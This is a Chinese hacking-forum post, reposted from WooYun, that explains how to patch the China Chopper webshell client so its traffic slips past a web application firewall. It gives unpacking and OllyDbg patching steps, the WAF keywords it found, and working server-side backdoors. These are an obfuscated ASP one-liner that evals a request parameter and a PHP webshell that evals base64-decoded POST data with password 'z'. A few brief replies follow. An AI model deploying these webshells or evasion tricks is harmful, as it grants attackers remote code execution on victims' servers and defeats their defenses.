查看: 9727|回复: 3

菜刀炼利刃——砍破WAF (转载——WooYun)

[复制链接]

该用户从未签到

发表于 2013-11-12 22:59:05 | 显示全部楼层 |阅读模式
本帖最后由 神仙 于 2013-11-13 12:19 编辑

BY   :   RedFree   


首先,标题有些夸张,我承认了。
    其次,这篇文章没什么技术含量,文字游戏而已,我也承认了。
    最后,大牛漂过,勿喷……

    以前乌云空间好多同学提到或求助绕过Waf的方法,上传的一句话要么被杀,要么被拦……;本文不讨论一句话的免杀问题(其实也没什么好讨论的),也不涉及上传方法等等问题;本文的重点是改造自己手里的菜刀,让其突破Waf的拦截以方便自己使用。

改造方法:

    一、中转数据(已经有同学发过,讨论过了)
    模式图: 1.jpg
Mode
    中转数据的优、缺点不讨论了……
    (注意:本机中转相对来说是菜刀直接接收数据了,因为电脑是你的电脑。^_^)

    二、自写菜刀(已讨论过)
     最根本的方法,但需要有编程能力。

    三、修改现有菜刀
    这个就是本文所要讲述的。

所需工具:Chopper(20111116);Ollydbg(XX版);WinSock Expert+NC/Burpsuite;PEID;ImportREC/XXX脱壳机
要求知识:能认识常用中、英文;会打字。
改造步骤:
    1、脱壳
        我使用的菜刀(20111116)大小如图:
2.jpg
        作者加了UPX压缩壳,PEID侦测如图:
3.jpg
        使用PEID自带的插件/OD/脱壳机 脱壳修复(此处省略几百字),完成后如图:
4jpg.jpg

5.jpg
    2、使用OD载入脱壳后菜刀
        将脱壳后菜刀拖入OD,使用字符串查找插件:
6.jpg
        在查找到的字串中查找 execute("execute 关健字,来到如图所示位置,选择跟随:
7.jpg
        跳到下图所示位置,右健:
8.jpg
        这时数据窗口中已经到了我要修改的地方了,点选以Unicode显示:
9jpg.jpg
        至此前期工作已经准备完毕。

    3、测试X Waf拦截的关键字
        我用WinSock Expert截取了多个菜刀的通信包,使用BurpSuite单次发送,测试X Waf所拦截的关键字。
10.jpg
经过漫长的测试,最终我得到了X Waf所过滤的关键字“Execute("Execute、Response.Write……”,下面就可以有针对性的改进自己的菜刀了。

    4、修改菜刀,去掉Post数据中的一些字串
        有了前面测试所获得的关键字,下面着重改进服务端和客户端,让通信过程中不产生Waf拦截的关键字。
         我是这样改进的:
    ASP:
         Execute("Execute =Eval("execute/Execute global("execute;
        response.write写进服务端;
         代码如下:
[AppleScript] 纯文本查看 复制代码
<% 
Function Writesource(str) 
  Response.write(str) 
End Function 
Function MorfiCoder(Code) 
  MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf) 
End Function 
Execute MorfiCoder(")/*/z/*/(tseuqer lave") 
%>



    这样我们在菜刀的代码中就可以直接调用Writesource(str)这个函数(函数名长度可以自己控制,以节约一定的字符),效果和Response.write一样。

    ASPX:
        我是这样改进的(整个过程N多测试,此处省略几千字):
        所有的Response.Write = Response. Write(加几个空格自定,.net的容错性真好!)
    PHP:
        把=@eval(base64_decode($_POST[z0]))写进服务端,客户端的=@eval(base64_decode($_POST[z0]))以其它内容替代,比如:a=asdfsdfsdfdfdfk,只要长度刚好相等即可。
         PHP服务端代码如下:
[PHP] 纯文本查看 复制代码
<?php 
$sess = $_POST['z']; 
if ($sess!="") 
{ 
  $me=base64_decode($_POST['z0']); 
  @eval("\$str = $me;"); 
} 
?>


密码为z.
         修改后如图:
ASP:
11.jpg
ASPX:
12.jpg
PHP:
13.jpg
    将修改后的地方选中,复制到可执行文件》再另存,打磨后的菜刀就出世了,高兴的话加个壳再压缩一下……
至此ASP、ASPX、PHP已完美过了X Waf(亲测),而且没有功能缺失;唯一的缺点是我的服务端中仍有肉眼可见的关键字,这个就要以后再改进了。

                                    垃圾文,大牛勿喷
回复

使用道具 举报

头像被屏蔽

该用户从未签到

发表于 2013-11-12 23:01:31 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

  • TA的每日心情
    开心
    2020-4-29 10:22
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2013-11-13 08:29:59 | 显示全部楼层
    这个真没看懂哦,,,
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-4-16 17:33
  • 签到天数: 286 天

    [LV.8]以坛为家I

    发表于 2013-11-13 09:12:24 | 显示全部楼层
    图片怎么挂了?
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 00:44 , Processed in 0.025285 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部